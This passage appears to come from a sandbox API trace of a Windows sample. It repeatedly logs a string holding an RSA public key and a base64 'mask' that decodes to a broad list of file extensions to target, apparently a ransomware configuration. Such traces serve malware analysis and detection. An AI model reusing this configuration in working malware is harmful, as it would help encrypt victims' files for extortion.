udmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCA